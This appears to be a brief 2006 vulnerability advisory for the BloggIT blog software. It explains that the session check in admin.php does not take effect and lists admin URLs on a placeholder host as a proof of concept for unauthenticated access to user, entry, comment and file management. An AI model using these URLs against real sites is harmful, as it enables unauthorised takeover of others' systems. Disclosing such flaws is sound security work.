*/ 04/06/2006 5:48

Bug:

The BloggIT have on the admin.php:

require("session.inc.php");
//- session_start();
//- if ($_SESSION['login'] != "ok") header("Location: index.php");

and require() function don't include the file
for test the security session.

Proof of concept:

The cracker have arbitrary access at:

http://example/admin.php 
http://example/admin.php?op=add_ent 
http://example/admin.php?op=add_usr 
http://example/admin.php?op=man_ent 
http://example/admin.php?op=man_usr 
http://example/admin.php?op=man_cat 
http://example/admin.php?op=man_com 
http://example/admin.php?op=man_fil
